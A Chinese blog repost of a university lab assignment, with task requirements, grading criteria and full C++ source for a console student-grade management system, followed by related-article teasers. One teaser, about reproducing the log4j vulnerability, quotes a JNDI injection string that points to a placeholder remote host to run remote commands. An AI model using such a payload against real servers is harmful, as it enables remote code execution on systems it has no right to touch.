【沈阳航空航天大学】【实验课程】《类与对象》实验

《类与对象》实验


《类与对象》实验任务书

一、实验要求

    本次《类与对象》实验,是基于 “高级程序设计”和“高级程序设计实验”课程学习内容的重要实践环节,实验目的是通过综合性实验,培养学生面向对象程序设计思想,掌握类和对象相关概念和编程技能,培养和提高学生的独立分析问题、解决实际问题的能力和计算机语言编程能力。要求学生独立完成相关设计题所规定的任务。进度安排建议如下:1、阅读设计题目、任务内容,规划设计进度,并进行软件各相关功能模块的设计。2、在编译环境下,用面向对象的程序设计思想进行软件设计、开发及调试。3、整理实验,按cg上要求完成实验总结。 

二、实验目的

    能够使用面向对象程序设计思想构造灵活、具有一定弹性和扩展型的面向对象程序。通过程序调试加深对抽象、封装、类、对象等面向对象概念的理解,掌握方法重载、访问控制及构造函数等机制的实现方法。

三、实验任务

     本次实验的任务为设计实现一个“小型学生成绩管理系统”,用于管理学生各科成绩信息,并能提供各种数据分析和处理功能。要求系统设计具有一定弹性和可扩展性,使得后续维护和扩展功能更容易,增加或修改系统功能变得更简单。基本要求和功能如下:1、管理的信息包括但不限于,学生姓名,学号,班级,专业,课程名称,课程编号,课程成绩等,课程成绩2到3门即可;2、系统可以显示全部信息,可以增加、删除、修改和查询各种情况的学生信息;3、系统可以统计和分析相关成绩,例如:平均成绩,最高分成绩,最低分成绩等;

四、成绩评定要素

     本次实验成绩占期末总评成绩的20%,实验成绩百分制。实验考核标准如下:1. 程序设计:类的定义是否合理,封装是否完好等,程序的可用性,实用性,通用性,可扩充性(程序设计源代码)(40%)2. 实验操作:调试程序的能力(30%)3. 实验总结:总结的完成情况(30%)

源码如下:

#include <iostream>	 // 引入输入输出流库,用于控制台的输入输出操作
#include <string>	 // 引入字符串库,用于处理字符串
#include <vector>	 // 引入向量库,用于动态数组操作
#include <algorithm> // 引入算法库,用于排序、查找等算法操作
#include <cstdlib>	 // 引入标准库,包含一些常用的函数和宏定义
#include <map>		 // 引入映射库,用于键值对的存储// 学生类定义
class Student
{
public:std::string name;	   // 学生姓名std::string id;		   // 学生学号std::string className; // 学生所在班级std::string major;	   // 学生所学专业// 构造函数,用于创建Student对象时初始化成员变量Student(const std::string &name, const std::string &id, const std::string &className, const std::string &major): name(name), id(id), className(className), major(major) {}
};// 课程类定义
class Course
{
public:std::string name; // 课程名称std::string code; // 课程编号// 构造函数,用于创建Course对象时初始化成员变量Course(const std::string &name, const std::string &code): name(name), code(code) {}
};// 成绩类定义
class Score
{
public:std::string studentId;	// 学生学号std::string courseCode; // 课程编号int grade;				// 成绩// 构造函数,用于创建Score对象时初始化成员变量Score(const std::string &studentId, const std::string &courseCode, int grade): studentId(studentId), courseCode(courseCode), grade(grade) {}
};
// 学生成绩管理类
class StudentScoreManager
{
private:// 存储学生信息的向量std::vector<Student> students;// 存储课程信息的向量std::vector<Course> courses;// 存储成绩信息的向量std::vector<Score> scores;public:// 添加学生到学生信息向量中void addStudent(const Student &student){students.push_back(student);}// 添加课程到课程信息向量中void addCourse(const Course &course){courses.push_back(course);}// 添加成绩到成绩信息向量中void addScore(const Score &score){scores.push_back(score);}// 显示所有信息,包括学生、课程和成绩void displayAll() const{// 遍历学生信息向量并打印for (const auto &student : students){std::cout << "姓名: " << student.name<< "\n"<< "ID: " << student.id << "\n"<< "班级: " << student.className << "\n"<< "专业: " << student.major << "\n"<< std::endl;}// 遍历课程信息向量并打印for (const auto &course : courses){std::cout << "课程名称: " << course.name<< ", 课程代码: " << course.code << std::endl;}// 遍历成绩信息向量并打印for (const auto &score : scores){std::cout << "学生ID: " << score.studentId<< ", 课程代码: " << score.courseCode<< ", 成绩: " << score.grade << std::endl;}// 暂停程序,等待用户按键(Windows系统)system("pause");// 清除控制台屏幕(Windows系统)system("cls");}// 统计分析成绩(每个科目独立)void analyzeScores() const{// 创建一个映射,键为课程代码,值为成绩向量std::map<std::string, std::vector<int>> courseGrades;// 遍历成绩向量,将成绩按课程代码分类存储for (const auto &score : scores){courseGrades[score.courseCode].push_back(score.grade);}// 如果没有成绩可以分析,则输出提示信息并退出函数if (courseGrades.empty()){std::cout << "没有可以分析的成绩" << std::endl;system("pause"); // 暂停程序,等待用户按键system("cls");	 // 清除控制台屏幕return;}// 遍历映射,对每一门课程计算平均分、最高分和最低分for (const auto &entry : courseGrades){const std::string &courseCode = entry.first;   // 获取课程代码const std::vector<int> &grades = entry.second; // 获取成绩向量int sum = 0;for (int grade : grades){sum += grade; // 计算成绩总和}double average = static_cast<double>(sum) / grades.size();		// 计算平均分int maxGrade = *std::max_element(grades.begin(), grades.end()); // 获取最高分int minGrade = *std::min_element(grades.begin(), grades.end()); // 获取最低分// 输出课程代码、平均分、最高分和最低分std::cout << "课程代码: " << courseCode << "\n";std::cout << "平均分: " << average << "\n";std::cout << "最高分: " << maxGrade << "\n";std::cout << "最低分: " << minGrade << "\n\n";}system("pause"); // 暂停程序,等待用户按键system("cls");	 // 清除控制台屏幕}// 删除学生信息void deleteStudent(const std::string &studentId){// 使用remove_if算法查找并移除匹配给定学生ID的学生信息auto it = std::remove_if(students.begin(), students.end(), [&studentId](const Student &student){ return student.id == studentId; });// 移除从it到end()之间的元素,完成删除操作students.erase(it, students.end());}// 修改学生信息void modifyStudent(const std::string &studentId, const Student &newStudent){// 遍历学生列表for (auto &student : students){// 如果找到ID匹配的学生if (student.id == studentId){// 使用新的学生信息替换旧的学生信息student = newStudent;// 修改成功,退出循环return;}}// 如果没有找到匹配的学生,则此函数不会输出任何信息,可能需要添加提示信息}// 查询学生信息void queryStudent(const std::string &studentId){// 遍历学生列表for (const auto &student : students){// 如果找到ID匹配的学生if (student.id == studentId){// 输出学生的信息std::cout << "姓名: " << student.name<< "\n"<< "ID: " << student.id << "\n"<< "班级: " << student.className << "\n"<< "专业: " << student.major << "\n"<< std::endl;// 暂停程序,等待用户按键system("pause");// 清除控制台屏幕system("cls");// 查询成功,退出函数return;}}// 如果没有找到匹配的学生,输出提示信息std::cout << "学生未找到." << std::endl;// 暂停程序,等待用户按键system("pause");// 清除控制台屏幕system("cls");}// 删除课程信息void deleteCourse(const std::string &courseCode){// 使用remove_if算法查找并移除匹配给定课程代码的课程信息auto it = std::remove_if(courses.begin(), courses.end(), [&courseCode](const Course &course){ return course.code == courseCode; });// 移除从it到end()之间的元素,完成删除操作courses.erase(it, courses.end());}// 修改课程信息void modifyCourse(const std::string &courseCode, const Course &newCourse){// 遍历课程列表for (auto &course : courses){// 如果找到课程代码匹配的课程if (course.code == courseCode){// 使用新的课程信息替换旧的课程信息course = newCourse;// 修改成功,退出循环return;}}// 如果没有找到匹配的课程,则此函数不会输出任何信息,可能需要添加提示信息}// 查询课程信息void queryCourse(const std::string &courseCode){// 遍历课程列表for (const auto &course : courses){// 如果找到课程代码匹配的课程if (course.code == courseCode){// 输出课程名称和课程代码std::cout << "课程名称: " << course.name<< ", 课程代码: " << course.code << std::endl;// 暂停程序,等待用户按键system("pause");// 清除控制台屏幕system("cls");// 查询成功,退出函数return;}}// 如果没有找到匹配的课程,输出提示信息std::cout << "课程未找到." << std::endl;// 暂停程序,等待用户按键system("pause");// 清除控制台屏幕system("cls");}// 删除成绩信息void deleteScore(const std::string &studentId, const std::string &courseCode){// 使用remove_if算法查找并移除匹配给定学生ID和课程代码的成绩信息auto it = std::remove_if(scores.begin(), scores.end(), [&studentId, &courseCode](const Score &score){ return score.studentId == studentId && score.courseCode == courseCode; });// 移除从it到end()之间的元素,完成删除操作scores.erase(it, scores.end());}// 修改成绩信息void modifyScore(const std::string &studentId, const std::string &courseCode, int newGrade){// 遍历成绩列表for (auto &score : scores){// 如果找到匹配的学生ID和课程代码的成绩if (score.studentId == studentId && score.courseCode == courseCode){// 使用新的成绩替换旧的成绩score.grade = newGrade;// 修改成功,退出循环return;}}// 如果没有找到匹配的成绩,则此函数不会输出任何信息,可能需要添加提示信息}// 查询成绩信息void queryScore(const std::string &studentId, const std::string &courseCode){// 遍历成绩列表for (const auto &score : scores){// 如果找到匹配的学生ID和课程代码的成绩if (score.studentId == studentId && score.courseCode == courseCode){// 输出学生ID、课程代码和成绩std::cout << "学生ID: " << score.studentId<< ", 课程代码: " << score.courseCode<< ", 成绩: " << score.grade << std::endl;// 暂停程序,等待用户按键system("pause");// 清除控制台屏幕system("cls");// 查询成功,退出函数return;}}// 如果没有找到匹配的成绩,输出提示信息std::cout << "成绩未找到." << std::endl;// 暂停程序,等待用户按键system("pause");// 清除控制台屏幕system("cls");}
};int main()
{StudentScoreManager manager;int choice;do{std::cout << "学生成绩管理系统" << std::endl;std::cout << "请选择操作:" << std::endl;std::cout << "1. 添加学生" << std::endl;std::cout << "2. 添加课程" << std::endl;std::cout << "3. 添加成绩" << std::endl;std::cout << "4. 分析成绩" << std::endl;std::cout << "5. 显示所有信息" << std::endl;std::cout << "6. 删除学生信息" << std::endl;std::cout << "7. 修改学生信息" << std::endl;std::cout << "8. 查询学生信息" << std::endl;std::cout << "9. 删除课程信息" << std::endl;std::cout << "10. 修改课程信息" << std::endl;std::cout << "11. 查询课程信息" << std::endl;std::cout << "12. 删除成绩信息" << std::endl;std::cout << "13. 修改成绩信息" << std::endl;std::cout << "14. 查询成绩信息" << std::endl;std::cout << "0. 退出" << std::endl;std::cin >> choice;switch (choice){case 1:{system("cls");std::string name, id, className, major;std::cout << "请输入学生姓名: ";std::cin >> name;std::cout << "请输入学生ID: ";std::cin >> id;std::cout << "请输入学生班级: ";std::cin >> className;std::cout << "请输入学生专业: ";std::cin >> major;manager.addStudent(Student(name, id, className, major));std::cout << "学生添加成功!" << std::endl;system("pause");system("cls");break;}case 2:// 添加课程逻辑{system("cls");std::string courseName, courseCode;std::cout << "请输入课程名称: ";std::cin >> courseName;std::cout << "请输入课程代码: ";std::cin >> courseCode;manager.addCourse(Course(courseName, courseCode));std::cout << "课程添加成功!" << std::endl;system("pause");system("cls");break;}case 3:// 添加成绩{system("cls");std::string studentId, courseCode;int score;std::cout << "请输入学生ID: ";std::cin >> studentId;std::cout << "请输入课程代码: ";std::cin >> courseCode;std::cout << "请输入成绩: ";std::cin >> score;manager.addScore(Score(studentId, courseCode, score));std::cout << "成绩添加成功!" << std::endl;system("pause");system("cls");break;}case 4:{// 分析成绩system("cls");manager.analyzeScores();break;}case 5:{// 显示所有信息system("cls");manager.displayAll();break;}case 6:{// 删除学生信息system("cls");std::string studentId;std::cout << "请输入要删除的学生ID: ";std::cin >> studentId;manager.deleteStudent(studentId);std::cout << "学生信息删除成功!" << std::endl;system("pause");system("cls");break;}case 7:{// 修改学生信息system("cls");std::string studentId, newName, newClassName, newMajor;std::cout << "请输入要修改的学生ID: ";std::cin >> studentId;std::cout << "请输入新的学生姓名: ";std::cin >> newName;std::cout << "请输入新的班级: ";std::cin >> newClassName;std::cout << "请输入新的专业: ";std::cin >> newMajor;manager.modifyStudent(studentId, Student(newName, studentId, newClassName, newMajor));std::cout << "学生信息修改成功!" << std::endl;system("pause");break;}case 8:{// 查询学生信息system("cls");std::string studentId;std::cout << "请输入要查询的学生ID: ";std::cin >> studentId;manager.queryStudent(studentId);system("pause");system("cls");break;}case 9:{// 删除课程信息system("cls");std::string courseCode;std::cout << "请输入要删除的课程代码: ";std::cin >> courseCode;manager.deleteCourse(courseCode);std::cout << "课程信息删除成功!" << std::endl;system("pause");system("cls");break;}case 10:{// 修改课程信息system("cls");std::string courseCode, newName;std::cout << "请输入要修改的课程代码: ";std::cin >> courseCode;std::cout << "请输入新的课程名称: ";std::cin >> newName;manager.modifyCourse(courseCode, Course(newName, courseCode));std::cout << "课程信息修改成功!" << std::endl;system("pause");system("cls");break;}case 11:{// 查询课程信息system("cls");std::string courseCode;std::cout << "请输入要查询的课程代码: ";std::cin >> courseCode;manager.queryCourse(courseCode);system("pause");system("cls");break;}case 12:{// 删除成绩信息system("cls");std::string studentId, courseCode;std::cout << "请输入要删除成绩的学生ID: ";std::cin >> studentId;std::cout << "请输入要删除成绩的课程代码: ";std::cin >> courseCode;manager.deleteScore(studentId, courseCode);std::cout << "成绩信息删除成功!" << std::endl;system("pause");system("cls");break;}case 13:{// 修改成绩信息system("cls");std::string studentId, courseCode;int newGrade;std::cout << "请输入要修改成绩的学生ID: ";std::cin >> studentId;std::cout << "请输入要修改成绩的课程代码: ";std::cin >> courseCode;std::cout << "请输入新的成绩: ";std::cin >> newGrade;manager.modifyScore(studentId, courseCode, newGrade);std::cout << "成绩信息修改成功!" << std::endl;system("pause");system("cls");break;}case 14:{// 查询成绩信息system("cls");std::string studentId, courseCode;std::cout << "请输入要查询成绩的学生ID: ";std::cin >> studentId;std::cout << "请输入要查询成绩的课程代码: ";std::cin >> courseCode;manager.queryScore(studentId, courseCode);system("pause");system("cls");break;}case 0:{// 退出程序std::cout << "退出程序。" << std::endl;break;}default:{system("cls");std::cout << "无效的选择,请重新输入。" << std::endl;system("pause");system("cls");break;}}} while (choice != 0);return 0;
}

今天的内容就分享这么多
求三连!!!
求关注!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/797663.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue探索之Vue2.x源码分析(二)

一.Virtual Dom 虚拟DOM是一种轻量级的抽象&#xff0c;它允许我们在Javascript中创建、更新和删除DOM元素。它是React等现代Javascript框架的核心概念之一。 Vue的虚拟dom是一种抽象层的概念&#xff0c;它使得Vue可以高效地更新Dom。虚拟Dom是通过Javascript对象来表示DOM结…

vue实现验证码验证登录

先看效果&#xff1a; 代码如下&#xff1a; <template><div class"container"><div style"width: 400px; padding: 30px; background-color: white; border-radius: 5px;"><div style"text-align: center; font-size: 20px; m…

MySQL主从的介绍与应用

mysql主从 文章目录 mysql主从1. 主从简介1.1 主从作用1.2 主从形式 2. 主从复制原理3. 主从复制配置3.1 mysql安装&#xff08;两台主机安装一致&#xff0c;下面只演示一台主机操作&#xff09;3.2 mysql主从配置3.2.1 确保从数据库与主数据库里的数据一样3.2.2 在主数据库里…

log4j漏洞复现

1、apache log4j 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞&#xff0c;导致攻击者可以控制日志内容的情况下&#xff0c;传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入&#xff0c;执行远程命令。 JNDI&#xff1a; 命名和目录接口&#xff0c;…

苍穹外卖Day10——总结10

前期文章 文章标题地址苍穹外卖Day01——总结1https://lushimeng.blog.csdn.net/article/details/135466359苍穹外卖Day02——总结2https://lushimeng.blog.csdn.net/article/details/135484126苍穹外卖Day03——总结3https://blog.csdn.net/qq_43751200/article/details/1363…

工厂方法模式:灵活的创建对象实例

在软件开发中&#xff0c;我们经常需要创建对象&#xff0c;但直接new一个实例可能会导致代码的耦合性增加&#xff0c;降低了代码的灵活性和可维护性。工厂方法模式&#xff08;Factory Method Pattern&#xff09;是一种创建型设计模式&#xff0c;它提供了一种创建对象的接口…

基于单片机干湿垃圾自动分类系统

**单片机设计介绍&#xff0c;基于单片机干湿垃圾自动分类系统 文章目录 一 概要二、功能设计三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机的干湿垃圾自动分类系统是一个集成传感器技术、机械控制和单片机编程于一体的自动化解决方案。该系统的主要目标是实…

算法| ss 合并区间

56.合并区间 56.合并区间 /*** param {number[][]} intervals* return {number[][]}*/ // 思路 区间合并 // 数组升序 // 取第一个元素作为pre // for循环遍历 // 条件判断&#xff1a; 如果当前开始大于pre的结尾&#xff0c;则存入pre&#xff0c; 更新pre为当前 // 否则 p…

死锁、活锁、饥饿三者之间的区别,Java 中导致饥饿的原因有哪些?为了避免饥饿,可以采取哪些措施

目录 面试官:死锁、活锁、饥饿的区别死锁(Deadlock)活锁(Livelock)饥饿(Starvation)面试官:Java 中导致饥饿的原因有哪些思维导图该文章专注于面试,面试只要回答关键点即可,不需要对框架有非常深入的回答,如果你想应付面试,是足够了,抓住关键点 面试官:死锁、活锁…

【趣味学算法】11_黑洞数

注&#xff1a; 本系列仅为个人学习笔记&#xff0c;学习内容为《算法小讲堂》&#xff08;视频传送门&#xff09;&#xff0c;通俗易懂适合编程入门小白&#xff0c;需要具备python语言基础&#xff0c;本人小白&#xff0c;如内容有误感谢您的批评指正 黑洞数又称陷阱数&…

Docker之镜像与容器的相关操作

目录 一、Docker镜像 搜索镜像 下载镜像 查看宿主机上的镜像 删除镜像 二、Docker容器 创建容器 查看容器 启停容器 删除容器 进入容器 创建/启动/进入容器 退出容器 查看容器内部信息 一、Docker镜像 Docker 运行容器前需要本地存在对应的镜像&#xff0c; 如…

每日更新5个Python小技能 | 第九期

大家好&#xff01;欢迎阅读每日更新的Python小技能系列&#xff0c;今天是第九期。在这个系列中&#xff0c;我将每天分享5个高级的Python小技巧&#xff0c;帮助大家进一步提升编程技能。让我们开始吧&#xff01; 1. 使用生成器提高内存效率 生成器是 Python 中强大而高效…

mysql 连接查询和子查询

学习了mysql基本查询&#xff0c; 接着学习连接查询和子查询。 4&#xff0c;连接查询 连接是关系数据库模型的主要特点。连接查询是关系数据库中最主要的查询&#xff0c;主要包括内连接、外连接等。通过连接运算符可以实现多个表查询。在关系数据库管理系统中&#xff0c;表建…

使用 Docker Compose 部署邮件服务器

使用 Docker Compose 部署邮件服务器 很多时候为了方便&#xff0c; 我们都直接使用第三方邮箱进行收发邮件。 但第三方邮箱有些要求定期修改密码&#xff0c;有些限制发邮箱的次数&#xff0c; 对于一些个人和企业来说&#xff0c; 有自己的域名和服务器为什么不自己搭建一个邮…

Android:身份证识别功能实现

说明&#xff1a; 此文使用华为SDK、百度SDK、百度在线API三种方式实现。 一、使用华为SDK实现身份证识别&#xff1a; 说明&#xff1a;免费&#xff0c;不需要联网。 1.AndroidManifest.xml添加权限&#xff1a;<uses-permission android:name"android.permissio…

GESP Python编程五级认证真题 2024年3月

Python 五级 2024 年 03 月 1 单选题&#xff08;每题 2 分&#xff0c;共 30 分&#xff09; 第 1 题 下面流程图在yr输入2024时&#xff0c;可以判定yr代表闰年&#xff0c;并输出 2月是29天 &#xff0c;则图中菱形框中应该填入&#xff08; &#xff09;。 A. (yr % 400 0…

Leetcode 506. 相对名次

给你一个长度为 n 的整数数组 score &#xff0c;其中 score[i] 是第 i 位运动员在比赛中的得分。所有得分都 互不相同 。 运动员将根据得分 决定名次 &#xff0c;其中名次第 1 的运动员得分最高&#xff0c;名次第 2 的运动员得分第 2 高&#xff0c;依此类推。运动员的名次…

Leetcode刷题笔记——多维动态规划篇

Leetcode刷题笔记——多维动态规划篇 第一题:最小路径和 Leetcode64&#xff1a;最小路径和&#xff1a;中等题 &#xff08;详情点击链接见原题&#xff09; 给定一个包含非负整数的 m x n 网格 grid &#xff0c;请找出一条从左上角到右下角的路径&#xff0c;使得路径上的…

稀碎从零算法笔记Day36-LeetCode:H指数

有点绕的一个题&#xff0c;题目描述的有点奇怪&#xff08;可以看下英文&#xff1f;&#xff09; 题型&#xff1a;数组、模拟 链接&#xff1a;274. H 指数 - 力扣&#xff08;LeetCode&#xff09; 来源&#xff1a;LeetCode 题目描述 给你一个整数数组 citations &am…

SpringBoot登录校验(四)过滤器Filter

JWT令牌生成后&#xff0c;客户端发的请求头中会带有JWT令牌&#xff0c;服务端需要校验每个请求的令牌&#xff0c;如果在每个controller方法中添加校验模块&#xff0c;则十分复杂且冗余&#xff0c;所以引入统一拦截模块&#xff0c;将请求拦截下来并做校验&#xff0c;这块…